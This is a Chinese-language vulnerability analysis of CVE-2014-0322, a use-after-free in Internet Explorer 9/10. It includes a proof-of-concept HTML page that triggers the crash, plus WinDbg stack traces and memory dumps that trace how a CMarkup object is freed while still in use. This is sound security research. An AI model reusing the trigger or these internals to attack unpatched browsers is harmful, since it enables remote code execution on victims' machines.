漏洞概述
該漏洞是一個 CMarkup 對象的 UAF,其中CMarkup 指針殘留在寄存器中。
關于這個漏洞,網上其實已經有很多分析文章,但是分析工作基本上都只是停留在表面,文章作者更多的著眼于漏洞的利用方法上,并沒有過多的分析漏洞的根本原因,這里在三年之后回過頭來仔細的分析一下漏洞產生的內在原理。
漏洞樣本
<!--http://blog.csdn.net/tony_whu/article/details/19335801-->
<html>
<head id="headId">
<title>main page</title>
<script>
function fun()
{
try{
this.outerHTML=this.outerHTML
} catch(e){}
CollectGarbage();
}
function puIHa3() {
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = fun ;
var c = document.createElement('SELECT');
c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>
漏洞分析
首先閱讀漏洞樣本,樣本邏輯大致為
- 獲取頁面中的script標簽
- 為其設置事件響應 onpropertychange ,此時會第一次觸發響應函數 fun
- 使用 appendChild 為其添加子節點,此時會第二次觸發響應函數 fun
這里選用 script 標簽是由于其特殊性:script 的 appendChild
DOM 操作會修改其 text 屬性,從而觸發 onpropertychange 事件。
測試環境為 win8 IE10,在瀏覽器中打開樣本,程序崩潰,崩潰點及調用棧如下
0:005> r
eax=00000000 ebx=0e146fa0 ecx=77b13c18 edx=00731078 esi=0fe74cc0 edi=0779ef50
eip=6875da85 esp=0455b260 ebp=0455b2c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6875da85 ff4678 inc dword ptr [esi+78h] ds:0023:0fe74d38=????????
0:005> kb
ChildEBP RetAddr Args to Child
0455b2c8 6875e1f1 0fe74cc0 0779ef50 0e146fa0 MSHTML!CMarkup::NotifyElementEnterTree+0x266
0455b30c 6875e065 0e146fa0 0779ef50 0fd54fc4 MSHTML!CMarkup::InsertSingleElement+0x169
0455b3ec 6875ddaa 0fe74cc0 0779ef50 0455b438 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0455b410 6875dd6c 0779ef50 0455b438 0455b444 MSHTML!CMarkup::InsertElementInternal+0x2e
0455b450 6875de09 0779ef50 0455b548 0455b548 MSHTML!CDoc::InsertElement+0x9c
0455b518 686f3c10 00000000 0455b548 0c27cf40 MSHTML!InsertDOMNodeHelper+0x454
0455b590 686f390c 0c27cf40 0779ef50 00000000 MSHTML!CElement::InsertBeforeHelper+0x2a8
0455b5f4 686f402c 00000000 00000003 0a112e10 MSHTML!CElement::InsertBeforeHelper+0xe4
0455b614 686f6f43 0779ef50 00000001 00000000 MSHTML!CElement::InsertBefore+0x36
0455b6a0 686f6e60 0a112e10 0455b6e0 00000002 MSHTML!CElement::Var_appendChild+0xc7
很明顯可以看到,程序崩潰在執行 appendChild
操作的流程中,且崩潰原因是由于 esi 指針即傳入的第一個參數指向的位置非法導致的。esi 所指的地址空間為一個 CMarkup 對象(這里較簡單,且網上分析問中均有藐視,因此不再贅述)
CMarkup 對象在 IE 中可以看作是 MarkupService 中的 MarkupContainer,其作用是用來囊括一系列的 DOM 操作,保證對 DOM 的流操作在其范圍內進行。(Markup 和 CMarkup 對象)
第一次 onpropertychange
回到頁面中來,我們首先在 this.outerHTML = this.outerHTML
語句上下斷點,觀察他的執行情況,其內部實現是調用函數 MSHTML!CElement::put_outerHTML
,在此處下斷點重新運行程序,程序會在函數位置斷下兩次,首先在第一次觸發斷點時查看函數調用棧
0:005> k
ChildEBP RetAddr
0465a878 68b92772 MSHTML!CElement::put_outerHTML
0465a8a0 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
0465a908 697ac6ba jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0465a928 697ac7aa jscript9!Js::JavascriptArray::GetSetter+0xcf
0465a968 697ac85b jscript9!Js::JavascriptOperators::CallSetter+0x6c
0465a9a8 697b0a80 jscript9!Js::JavascriptOperators::SetProperty+0x178
0465a9d0 697b09da jscript9!Js::JavascriptOperators::OP_SetProperty+0x48
0465aa44 697b0953 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x1e8
0465abd8 69816492 jscript9!Js::InterpreterStackFrame::Process+0xfbf
0465ac14 69816445 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x3a
0465ada4 697836d9 jscript9!Js::InterpreterStackFrame::Process+0x3d20
0465aeb4 05e20fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0465aec0 6977f8e0 0x5e20fd9
0465af48 6977fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0465af60 6977fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0465afa8 6977f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0465afd4 6989f273 jscript9!ScriptSite::Execute+0x61
0465affc 698baaa3 jscript9!JavascriptDispatch::InvokeOnSelf+0xd6
0465b068 68a82bd6 jscript9!JavascriptDispatch::InvokeEx+0x1e5
0465b0bc 68a82ed9 MSHTML!CBase::InvokeDispatchWithThis+0xb9
0465b16c 686de94b MSHTML!CBase::InvokeEvent+0x2a2
0465b2e8 68a5cd68 MSHTML!CBase::FireEvent+0x12e
0465b480 68a5dfe3 MSHTML!CElement::FireEvent+0x266
0465b5c4 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
0465b5e8 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
0465b7a4 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
0465b7bc 68964b4f MSHTML!CScriptElement::OnPropertyChange+0x16
0465b7dc 68a58290 MSHTML!BASICPROPPARAMS::SetCodeProperty+0x83
0465b7f0 68964c3f MSHTML!PROPERTYDESC::HandleCodeProperty+0x5c
0465b814 68dcab28 MSHTML!CBase::put_VariantHelper+0x33
0465b858 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_onpropertychange+0x78
可以發現這里第一次調用是由于設置 onpropertychange 本身導致的。跟進函數進一步觀察,函數會將頁面中 script 標簽的 outerHTML 內容再次解析,重新創建一 ScriptElement 并重新插入當前頁面的 DOM 流中,替換掉之前的 ScriptElement 。
在 script 標簽的創建位置 MSHTML!CScriptElement::CreateElement
下斷點。程序在初始解析頁面時會根據頁面內容創建一 ScriptElement,我們稱之為 script_a,繼續運行程序,當執行 this.outerHTML = this.outerHTML
時會再次斷在該位置,創建一個新的ScriptElement 我們稱之為 script_b 。現在開始觀察 script_a 和 script_b 與頁面 DOM 流的位置情況。
<small>_這里先簡要說明一下 IE 10 中 DOM 的結構,IE 10 中的 DOM 仍是以流結構來構建,用 CTreeNode 表示節點在 DOM 流中的位置,節點對象偏移 0x1C 位置指向的是其 CTreeNode 對象。CTreeNode 對象中使用兩個 CTreePos 分別指向 DOM 流中節點的頭標簽位置(+0xC tpBegin)和尾標簽位置 (+0x24 tpEnd),CTreePos 中又分別用兩個指針指向當前位置的左(+0x10 tpLeft)和右(+0x14 tp_Right) _
CTreeNode
+0xC tpBegin
+0x10 tpLeft
+0x14 tp_Right
+0x24 tpEnd
+0x10 tpLeft
+0x14 tp_Right
</small>
如下所示是 script_b 剛剛創建之后 script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000006 00000005 00000028
064fef50 00000000 00000000 077ea0c1 0b294fa0 // 0b294fa0 是 script_a 的 CTreeNode
064fef60 00000065 01220008 90000e02 00000004
// CTreeNode_a
0b294fa0 064fef40 0ae9afa0 71020065 00000571
0b294fb0 00000012 0b34cfac 0b1fedb0 066d8fd0
0b294fc0 0b11efd0 00000072 00000171 0b11efd0
0b294fd0 03ea4fd0 0b11efd0 0ae9afc4 00010005
0b294fe0 00010006 00050042 00000000 00000000
0b294ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x0b11efd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 a_tpBegin Text2 a_tpEnd head_tp_end
// script_b
0ae5cf40 688cdb38 00000001 00000003 00000008
0ae5cf50 00000000 00000000 00000000 00000000
0ae5cf60 00000000 00000000 00000000 00000000
可以明顯看出此時 script_a 處于頁面 DOM 流中,而 script_b 并未處于流中 (其實這里 script_b 處于其解析過程中的 outerHTML 流中,不過為了節省篇幅,且此處無影響因此略過)
運行程序直至其跳出 MSHTML!CElement::put_outerHTML
,再次觀察script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000003 00000003 00000018
064fef50 00000000 00000000 077ea0c0 00000000
064fef60 00000065 01200808 90000e02 00000004
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出此時頁面流發生了變化,script_a 被 script_b 替換。此時 script_a 不再處于 DOM 流中,而頁面中 b 對象仍然指向 script_a。
appendChild
繼續運行程序執行 appendChild
操作,該操作為目標節點在 DOM 流中添加子節點。此時進行操作的對象為 b.appendChild(c)
,即 script_a 對象。但是由于此時 script_a 不再處于 DOM 流中,因此需要為此次操作新建一個 DOM 流,因此需要新建一 CMarkup 對象,我們稱之為 markup_tt。創建時函數調用棧如下
0:005> k
ChildEBP RetAddr
04c3bbe8 686f4e3d MSHTML!CDoc::CreateMarkupFromInfo+0x17f
04c3bc60 68965a66 MSHTML!CDoc::CreateMarkupWithElement+0x8a
04c3bce0 686f390c MSHTML!CElement::InsertBeforeHelper+0x36d
04c3bd44 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04c3bd64 686f6f43 MSHTML!CElement::InsertBefore+0x36
04c3bdf0 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04c3be20 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
運行程序直至其跳出 appendChild
,觀察 script_a 在流中的位置
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 0b344fa0
064fef60 00000065 01220008 10000e02 00000004
// CTreeNode_a
0b344fa0 064fef40 09e97fa0 71020065 00000171
0b344fb0 00000001 09e97fac 0a02ffd8 09e97fac
0b344fc0 0a02ffd8 00000062 00000000 09e97fc4
0b344fd0 08306fd8 08306fd8 09e97fc4 00000003
0b344fe0 00010006 00050042 00000000 00000000
0b344ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
此時 script_a 處在 markup_tt 所管理的流中;同時查看 script_b 所處流的位置
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出 appendChild 操作實際上并未對頁面 DOM 流產生影響。
那么此時,進程中同時存在兩個 DOM 流,一個是頁面渲染所產生的 “頁面DOM 流”,由頁面內容索引可得;另一個是 appendChild 所產生的 “Append DOM 流”,由 js 對象 b 索引可得。且兩個 DOM 流之間不相互影響。
第二次 onpropertychange
繼續運行程序至第二次 MSHTML!CElement::put_outerHTML
位置,查看調用棧
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d -----------------------------
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
......
04a8b62c 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
04a8b650 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
04a8b80c 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
04a8b824 68a2d2d7 MSHTML!CScriptElement::OnPropertyChange+0x16
04a8b898 688592e1 MSHTML!BASICPROPPARAMS::SetStringProperty+0x167
04a8b8bc 687f7017 MSHTML!CBase::put_StringHelper+0x5e
04a8b8dc 687f6fce MSHTML!CScriptElement::SetPropertyHelper+0x19
04a8b8fc 686299cb MSHTML!CScriptElement::OnTextChange+0x53
04a8b914 6875da03 MSHTML!CElement::HandleTextChange+0x3a -----------------------------
04a8b988 6875e1f1 MSHTML!CMarkup::NotifyElementEnterTree+0x1e4
04a8b9cc 6875e065 MSHTML!CMarkup::InsertSingleElement+0x169
04a8baac 6875ddaa MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
04a8bad0 6875dd6c MSHTML!CMarkup::InsertElementInternal+0x2e
04a8bb10 6875de09 MSHTML!CDoc::InsertElement+0x9c
04a8bbd8 686f3c10 MSHTML!InsertDOMNodeHelper+0x454
04a8bc50 686f390c MSHTML!CElement::InsertBeforeHelper+0x2a8
04a8bcb4 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04a8bcd4 686f6f43 MSHTML!CElement::InsertBefore+0x36
04a8bd60 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04a8bd90 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
第二次調用是由于 appendChild
導致的 OnTextChange
觸發,同樣第二次調用也會創建一個新的 ScriptElement 我們稱之為 script_c。這里同樣進行 DOM 流的替換操作,此處替換的仍是 script_a。分別查看 script_a 、 script_b、 script_c 在流中的情況
// script_a 不變
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
// script_b 不變
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
// script_c
0b310f40 688cdb38 00000001 00000000 00000008
0b310f50 00000000 00000000 00000000 00000000
0b310f60 00000065 00000000 00000000 00000000
在 markup_tt 上下硬件斷點,運行程序,此時程序將會在markup_tt 釋放處斷下,查看調用棧,發現程序仍處在 MSHTML!CElement::put_outerHTML
中
04a8a724 68a9e27b MSHTML!InjectHtmlStream+0x512
04a8a764 6862bd08 MSHTML!HandleHTMLInjection+0x82
04a8a858 6862bf39 MSHTML!CElement::InjectInternal+0x506
04a8a8cc 687b12d9 MSHTML!CElement::InjectTextOrHTML+0x1a4
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
再次查看 script_a 、 script_b、 script_c 在流中的情況與之前做比對
// script_b
不變
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 00000000
064fef60 00000065 01200808 10000e02 00000004
// script_c
0b310f40 688cdb38 00000003 00000003 00000008
0b310f50 00000000 00000000 00000000 0b242fa0
0b310f60 00000065 01220000 90000e00 00000004
// CTreeNode_c
0b242fa0 0b310f40 0b1b4fa0 70020065 00000061
0b242fb0 00000000 00000000 09e97fac 09e97fac
0b242fc0 07c58fd0 00000252 00000013 09e97fc4
0b242fd0 0a92bfc4 07c58fd0 09e97fc4 ffffffff
0b242fe0 ffffffff 00030002 00000000 00000000
0b242ff0 00000000 00000000 06680bf8 00000000
0x09e97fac - 0x0b242fac - 0x07c58fd0 - 0x0b242fc4 - 0x09e97fc4
markup_tt_root c_tpBegin Text1 c_tpEnd markup_tt_root
可以看出這里 markup_tt 所管理的 “AppendChild DOM 流”中 script_a 被 script_c 所替換,而 “頁面 DOM流”仍保持不變。
我們可以注意到當這個替換操作完成的時候,script_a 再次處于獨立狀態。此時,markup_tt 所管理的整個 DOM 流 都不會有 js 對象或者頁面對象訪問,換而言之,markup_tt 所管理的整個 DOM 流此時會被當作是垃圾。因此在函數退出時 markup_tt 的引用計數將會被設置為 0, 對象被釋放。
而由于下層函數 CMarkup::NotifyElementEnterTree
的調用上下文中還存有 markup_tt 的指針,MSHTML!CElement::HandleTextChange
操作之后,還會對 markup_tt 進行訪問,因此再次訪問時程序崩潰!!!
另外說一點
在 CVE 官網上,我們可以看到 cve-2014-0322 只能在 IE9 、IE10 上觸發。因此筆者分別在 IE8 和 IE11 上也對漏洞樣本進行了分析,確實沒有產生崩潰,并發現了如下情況
- IE8 中不允許 script 標簽進行 AppendChild 操作,且其他標簽均無法使用 DOM 操作觸發 onpropertychange
- IE11 中Node 對象不再提供 outerHTML 屬性的支持
- 使用Mutation事件響應的方式,同樣可以導致 “AppendChild DOM 流” 的釋放,但在Mutation事件響應結束之后,并不會再對 markup_tt 進行訪問。因此不會觸發漏洞
漏洞小節
這個漏洞的產生原因主要是由于,函數當前域內的 this 指針在其他函數域內被釋放,且函數并未得到通知,因此仍照常使用 this 指針,導致崩潰。